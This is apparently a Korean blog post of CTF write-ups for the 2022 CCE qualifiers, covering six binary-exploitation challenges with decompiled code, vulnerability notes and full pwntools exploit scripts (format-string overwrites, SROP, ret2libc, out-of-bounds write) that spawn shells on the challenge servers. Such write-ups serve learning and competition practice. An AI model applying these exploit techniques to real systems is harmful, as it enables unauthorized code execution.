2022 CCE Quals

msh1307·2022년 10월 16일
0

Writeups

목록 보기
2/15
post-thumbnail

UFOrmat

64비트 ELF 바이너리가 주어진다.
libc도 주어진다.

Analysis

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+7h] [rbp-9h] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setup(argc, argv, envp);
  menu();
  __isoc99_scanf("%c", &v4);
  if ( getchar() != '\n' )
    return 0;
  if ( v4 == 'Y' || v4 == 'y' )
  {
    communication();
    return 0;
  }
  else
  {
    attack();
    puts("\n\t\t UFO attack The Earth.");
    return 0;
  }
}

main 함수의 모습이다.
입력을 받는다.
Y나 y면 communication 함수를 호출한다.

unsigned __int64 communication()
{
  char v1; // [rsp+Fh] [rbp-411h] BYREF
  char buf[1032]; // [rsp+10h] [rbp-410h] BYREF
  unsigned __int64 v3; // [rsp+418h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("\t\tThey want to take all the water of Earth,");
  puts("\t\tWill you accept this? [Y/n]");
  printf("\t\t> ");
  __isoc99_scanf("%c", &v1);
  if ( getchar() == '\n' )
  {
    if ( v1 == 'Y' || v1 == 'y' )
    {
      puts("\t\tThey want to take all the soil of Earth.");
      puts("\t\tWill you accept this? [Y/n]");
      printf("\t\t> ");
      __isoc99_scanf("%c", &v1);
      if ( getchar() != '\n' )
        return v3 - __readfsqword(0x28u);
      if ( v1 == 'Y' || v1 == 'y' )
      {
        puts("\t\tThey want to hear your last will.");
        printf("\t\t> ");
        read(0, buf, 0x400uLL);
        printf(buf);
        printf("\t\t> ");
        read(0, buf, 0x400uLL);
        printf(buf);
        return v3 - __readfsqword(0x28u);
      }
    }
    attack();
    puts("\n\t\t UFO attack The Earth.");
  }
  return v3 - __readfsqword(0x28u);
}

communication 함수의 모습이다.
Y나 y를 입력하면 총 버퍼에 두번 입력할 수 있고, 버퍼가 다시 프린트된다.

int gift()
{
  return system("/bin/sh");
}

gift 함수의 모습이다.
대놓고 준다.

Exploitation

취약점은 communication 함수 내부에서 터진다.
총 FSB가 두번 터지니까, 하나는 libc leak에 쓰고, 나머지 하나는 ret overwrite에 쓰면 된다.

from pwn import *
e= ELF('./UFOrmat')
libc = ELF('./libc.so.6')
#p = process('./UFOrmat',env={"LD_PRELOAD":"./libc.so.6"})
p = remote('3.35.222.217',5333)
p.sendlineafter(b'>',b'y')
p.sendlineafter(b'>',b'y')
p.sendlineafter(b'>',b'y')

def f(buf_idx,fstr):
    pay = b'%'+str(8 + buf_idx).encode()+b'$' + fstr.encode()
    return pay

pay = f(0x418//0x8,'p') + b' '
pay += f(0x410//0x8,'p') + b' '
pay += b'%3$p' +b' '
pay += b'\x00'
context.log_level = 'debug'
p.sendafter(b'>',pay)
p.recv()

binary_base = int(p.recvuntil(b'\x20')[:-1],16)-0x17ba
ret = int(p.recvuntil(b'\x20')[:-1],16) -0x18
libc_base = int(p.recvuntil(b'\x20')[:-1],16) - 0x114992
success('stack ret : '+hex(ret))
success('libc base : '+hex(libc_base))
success('binary base : '+hex(binary_base))

gift = binary_base + 0x00000000000124E

success('gift : '+hex(gift))
val = hex(gift).replace('0x','').rjust(8,'0')
list = []
list.append(int(val[:4],16))
list.append(int(val[4:8],16))
list.append(int(val[8:12],16))
list.sort()
for i in list:
    print(hex(i))
addr = []
for i in range(len(list)):
    if(list[i] == int(val[:4],16)):
        addr.append(ret +4)
    elif(list[i] == int(val[4:8],16)):
        addr.append(ret +2)
    elif(list[i] == int(val[8:12],16)):
        addr.append(ret)
print(addr)

pay = b'%' + str(list[0]).encode() + b'c'
pay += b'%'+str(8 + 5).encode()+b'$hn'
pay += b'%' + str(list[1] - list[0]).encode() + b'c'
pay += b'%'+str(8 + 6).encode()+b'$hn'
pay += b'%' + str(list[2] - list[1] ).encode() + b'c'
pay += b'%'+str(8 + 7).encode()+b'$hn'
pay += b'A' * (len(pay) //8 * 8 +8 - len(pay)) 
print(len(pay))


pay += p64(addr[0])
pay += p64(addr[1])
pay += p64(addr[2])

print(pay)
pause()
p.sendafter(b'>',pay)
p.interactive()

길이에 따라서 달라져서 둘다 적었었는데, 다 적고나서 보니까 48과 비교하는 부분은 없애도 되는 것 같다.

Superrop


32비트 바이너리가 주어진다.

Analysis

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[8]; // [esp+0h] [ebp-8h] BYREF

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  return read(0, buf, 0x80u);
}

main 함수의 모습이다.
분석할게 없다.

void int80()
{
  __asm { int     80h; LINUX - }
}

임의로 int 0x80 가젯을 준다.
i386에서 int 0x80은 x86_64의 syscall과 같은 의미를 가진다.

Exploitation

main 함수에서 bof를 통해 SROP를 하면 된다.
canary도 없어서 그냥 하면 된다.

eax를 컨트롤할 수 있는 가젯이 없어서 read의 리턴값이 eax에 들어간다는 점을 이용해서 익스플로잇을 하였다.

from pwn import * 
e= ELF('./Superrop')
p = remote('3.39.249.11',8080)
#p = process('./Superrop')
pr = 0x08049022
ppr = 0x0804901f
pppr = 0x0804901f
syscall = 0x08049189 #int 0x80
pop_ebx = 0x08049022
leave_ret = 0x080490f5
 
frame = SigreturnFrame(kernel = 'i386')
frame.eax = 0xb
frame.ebx = 0x804c238
frame.eip = syscall
frame.cs = 0x23
frame.gs = 0x63
frame.es = 0x2b
frame.ds = 0x2b
frame.ss = 0x2b
frame.ebp = e.bss()+0x300
frame.esp = e.bss()+0x300
pay = b'A'*8
pay += p32(e.bss()+0x200)
pay += p32(e.plt['read'])
pay += p32(pppr)
pay += p32(0)
pay += p32(e.bss()+0x200-0x8)
pay += p32(0x300)
pay += p32(leave_ret)
p.send(pay)
pay = b'/bin/sh\x00' #e.bss()+0x198
pay += p32(e.bss()+0x200)
pay += p32(syscall)
pay += bytes(frame)
pay += b'A'*(119-len(pay))
pause()
p.send(pay)
p.interactive()

MemView


32 비트 바이너리가 주어진다.
libc도 같이 주어진다.

Analysis

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char s[8]; // [esp+0h] [ebp-Ch] BYREF
  int v4; // [esp+8h] [ebp-4h] BYREF

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  memset(s, 0, sizeof(s));
  printf("Hi what your name? ");
  read(0, s, 8u);
  printf("Welcome %s", s);
  memu();
  while ( 1 )
  {
    printf("> ");
    __isoc99_scanf("%d", &v4);
    if ( v4 == 4 )
    {
      write(1, "bye..", 6u);
      exit(0);
    }
    if ( v4 > 4 )
    {
LABEL_12:
      puts("try again");
    }
    else
    {
      switch ( v4 )
      {
        case 3:
          memu();
          break;
        case 1:
          print_name(s);
          break;
        case 2:
          input_comment();
          break;
        default:
          goto LABEL_12;
      }
    }
  }
}

main 함수의 모습이다.
입력에 따라 다른 기능을 실행시킬 수 있다.
처음에 8바이트를 이름으로 입력받는다.

int __cdecl print_name(char *s)
{
  int i; // [esp+0h] [ebp-4h]

  for ( i = 0; s[i]; ++i )
  {
    if ( s[i] == '\n' )
    {
      s[i] = 0;
      return puts(s);
    }
  }
  return puts(s);
}

print_name 함수는 \n을 0으로 바꾸고 puts를 호출하는 함수다.

int input_comment()
{
  int result; // eax
  char s[18]; // [esp+2h] [ebp-12h] BYREF

  memset(s, 0, sizeof(s));
  result = check_value;
  if ( check_value )
  {
    read(0, s, 52u);
    return --check_value;
  }
  return result;
}

input_comment 함수의 모습이다.
52만큼 입력을 받는다.

.data:0804C038                 public check_value
.data:0804C038 check_value     dd 2                    ; DATA XREF: input_comment+16↑r
.data:0804C038                                         ; input_comment+2F↑r ...

check_value는 global variable로 기본값이 2다.

Exploitation

input_command에서 bof가 터진다.
이 bof를 통해서 bss의 stdout을 leak하고 libc base를 구한다.
그리고 eip를 다시 main 쪽으로 돌리고, puts의 got를 system으로 덮고, /bin/sh를 이름으로 줘서 쉘을 호출하면 된다.

from pwn import *
e = ELF('./MemView')
libc = ELF('./libc.so.6')
p = remote('13.124.195.98',8888)
#p = process('./MemView',env={'LD_PRELOAD':"./libc.so.6"})
pr= 0x08049022
pppr = 0x080491e8
ppr = 0x080491e9
stdout = 0x804c040
back = 0x8049322
p.sendafter(b'Hi what your name? ',b'/bin/sh\x00')
p.sendlineafter(b'> ', '2')
pay = b'A'*18
pay += p32(e.bss())
pay += p32(e.plt['puts'])
pay += p32(pr)
pay += p32(stdout)
pay += p32(back)
context.log_level = 'debug'
p.send(pay)
libc_base = u32(p.recv(4)) - 0x22a620
success('libc base : '+hex(libc_base))
bin_sh = 0x1bd0f5
sys = libc_base + libc.sym['system']
p.sendlineafter(b'>','2')
pay = b'A'*18
pay += p32(e.bss())
pay += p32(e.plt['read'])
pay += p32(pppr)
pay += p32(0)
pay += p32(e.got['puts'])
pay += p32(0x20)
pay += p32(e.sym['main'])
p.send(pay)
p.send(p64(sys))
 
#/bin/sh 이름 다시 주고 flag 읽기
p.interactive()

hello


32 비트 바이너리가 주어진다.
libc도 주어진다.

Analysis

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+1h] [ebp-25h]
  int v5; // [esp+2h] [ebp-24h]
  int v6[8]; // [esp+6h] [ebp-20h] BYREF

  v6[6] = (int)&argc;
  v6[5] = __readgsdword(0x14u);
  v6[0] = (int)"Michael";
  v6[1] = (int)"William";
  v6[2] = (int)"David";
  v6[3] = (int)"Richard";
  v6[4] = (int)"Joseph";
  v4 = 0;
  setup();
  puts("  _   _ _____ _     _     ___  ");
  puts(" | | | | ____| |   | |   / _ \\ ");
  puts(" | |_| |  _| | |   | |  | | | |");
  puts(" |  _  | |___| |___| |__| |_| |");
  puts(" |_| |_|_____|_____|_____\\___/ ");
  do
  {
    v5 = menu();
    if ( v5 == 3 )
    {
      puts("bye.");
      v4 = 1;
    }
    else
    {
      if ( v5 > 3 )
        goto LABEL_10;
      if ( v5 == 1 )
      {
        choice_name(v6);
        continue;
      }
      if ( v5 == 2 )
        add_name(v6);
      else
LABEL_10:
        puts("Invalid choice.");
    }
  }
  while ( !v4 );
  return 0;
}

main 함수의 모습이다.
setup 함수에서는 버퍼링과 타이머를 설정한다.

int __cdecl choice_name(int *a1)
{
  int v2; // [esp+Ch] [ebp-Ch]

  v2 = read_int("Enter idx : ");
  return printf("Say hello to %s!\n", a1[v2]);
}

choice_name 함수의 모습이다.
idx를 받아서 그 idx에 해당하는 곳을 읽을 수 있다.

ssize_t __cdecl add_name(int *a1)
{
  int v2; // [esp+8h] [ebp-10h]
  int nbytes; // [esp+Ch] [ebp-Ch]

  v2 = read_int("Enter idx : ");
  nbytes = read_int("Enter length : ");
  printf("Enter name : ");
  return read(0, &a1[v2], nbytes);
}

add_name 함수의 모습이다.
idx를 받아서 그 idx에 해당하는 곳에 쓸 수 있다.

int gift()
{
  return system("cat /flag");
}

gift 함수가 존재한다.

Exploitation

add_name 함수에서 OOB가 터지는데, 이걸 이용해서 ret를 gift 함수로 변조하면 된다.

from pwn import * 
libc = ELF('./libc.so.6')
e=  ELF('./hello')
# p = process('./hello')
p = remote('13.124.74.0',5333)
gift = e.sym['gift']
context.log_level = 'debug'
p.sendlineafter(b'Enter choice : ',b'2')
pause()
p.sendlineafter(b'Enter idx : ',b'9')
p.sendlineafter(b'Enter length : ',b'20')
p.send(b'A'*0x10 + p64(gift))
p.send('3')
p.interactive()


x86 ROP


x86 바이너리가 주어진다.
libc도 주어졌다.

Analysis

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3[3]; // [esp+0h] [ebp-Ch] BYREF

  v3[1] = (int)&argc;
  puts("       ___   __     ____   ___  ____  ");
  puts(" __  _( _ ) / /_   |  _ \\ / _ \\|  _ \\ ");
  puts(" \\ \\/ / _ \\| '_ \\  | |_) | | | | |_) |");
  puts("  >  < (_) | (_) | |  _ <| |_| |  __/ ");
  puts(" /_/\\_\\___/ \\___/  |_| \\_\\\\___/|_|    ");
  setup();
  while ( 1 )
  {
    menu();
    printf("Enter choice : ");
    __isoc99_scanf("%d", v3);
    if ( v3[0] == 3 )
      break;
    if ( v3[0] <= 3 )
    {
      if ( v3[0] == 1 )
      {
        rop();
      }
      else if ( v3[0] == 2 )
      {
        libc_leak();
      }
    }
  }
  puts("bye.");
  exit(-1);
}

main 함수의 모습이다.
2번을 통해 libc leak을 할수 있는 것으로 보인다.

int libc_leak()
{
  return puts("Nope.");
}

구라쳤다.

ssize_t rop()
{
  char buf[20]; // [esp+0h] [ebp-18h] BYREF

  return read(0, buf, 0x200u);
}

rop 함수의 모습이다.
입력을 받는다.

Exploitation

rop 함수 내부에서 bof가 터진다.
그걸로 rop 하면 된다.

from pwn import * 

pr = 0x080491e5
ppr = 0x080491e4
pppr = 0x080491e3
leave_ret = 0x08049145
e = ELF('./x86_rop')
libc = ELF('./libc.so.6')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#p = process('./x86_rop',env={'LD_PRELOAD':'./libc.so.6'})
p = remote('3.38.162.74',5333)
r = ROP(e)
p.sendlineafter(b'Enter choice :',b'2')
p.sendlineafter(b'Enter choice :',b'1')

success('bss : '+hex(e.bss()))
pay = b'A'*0x18
pay += p32(e.bss()+0x200)
pay += p32(e.plt['puts'])
pay += p32(pr)
pay += p32(e.got['read']) #read got

pay += p32(e.plt['read'])
pay += p32(pppr)
pay += p32(0)
pay += p32(e.bss()+0x200)
pay += p32(0x100)
pay += p32(leave_ret)

p.send(pay)
p.recv() #0xf7df10c0
read_got = u32(p.recvn(4))
success('read_got : '+hex(read_got))
libc_base = read_got - libc.sym['read']
success('libc_base : '+hex(libc_base))
pay = p32(e.bss()+0x200)
pay += p32(libc_base + libc.sym['execve'])
pay += p32(pppr)
pay += p32(libc_base + 0x1bd0f5)
pay += p32(0) *2

pause()
p.send(pay)
p.interactive()

x64 ROP


x64 바이너리가 주어진다.
libc도 같이 주어진다.

Analysis

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-4h] BYREF

  setup();
  while ( 1 )
  {
    menu(*(_QWORD *)&argc, argv);
    printf("Enter choice : ");
    argv = (const char **)&v3;
    *(_QWORD *)&argc = "%d";
    __isoc99_scanf("%d", &v3);
    if ( v3 == 3 )
      break;
    if ( v3 <= 3 )
    {
      if ( v3 == 1 )
      {
        rop();
      }
      else if ( v3 == 2 )
      {
        libc_leak();
      }
    }
  }
  puts("bye.");
  exit(-1);
}

main 함수의 모습이다.
x86이랑 다른게 없다.

ssize_t rop()
{
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  return read(0, buf, 0x200uLL);
}

rop 함수의 모습이다.
x86 버전과 똑같다.

Exploitation

rop 함수에서 bof 똑같이 터지니 함수 호출 규약만 신경써서 익스플로잇 코드 짜면 된다.

from pwn import * 
pop_rdi = 0x0000000000401203
pop_rdx = 0x0000000000401200
pop_rsi_rdi = 0x0000000000401202
leave_ret = 0x00000000004012de

e = ELF('./x64_rop')
libc = ELF('./libc.so.6')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#p = process('./x64_rop',env={'LD_PRELOAD':'./libc.so.6'})
p = remote('3.36.121.146',5333)
p.sendlineafter(b'Enter choice :',b'2')
p.sendlineafter(b'Enter choice :',b'1')

pay = b'A'*0x10
pay += p64(e.bss()+0x200)

pay += p64(pop_rdi)
pay += p64(0x404060) #stdout leak
pay += p64(e.plt['puts'])
pay += p64(pop_rsi_rdi)
pay += p64(e.bss()+0x200)
pay += p64(0)
pay += p64(pop_rdx)
pay += p64(0x100)
pay += p64(e.plt['read'])
pay += p64(leave_ret)
p.send(pay)

p.recv()
stdout = (u64(p.recvline()[:-1].ljust(8,b'\x00')))
success('stdout : '+hex(stdout))
success('bss : '+hex(e.bss()))
libc_base = stdout - 0x21a780
success('libc_base : '+hex(libc_base))
pay = p64(e.bss()+0x200)
pay += p64(pop_rsi_rdi)
pay += p64(0) *2
pay += p64(pop_rdx)
pay += p64(0)
pay += p64(libc_base + 0xebcf8)
pause()
p.send(pay)
p.interactive()

profile
https://msh1307.kr

0개의 댓글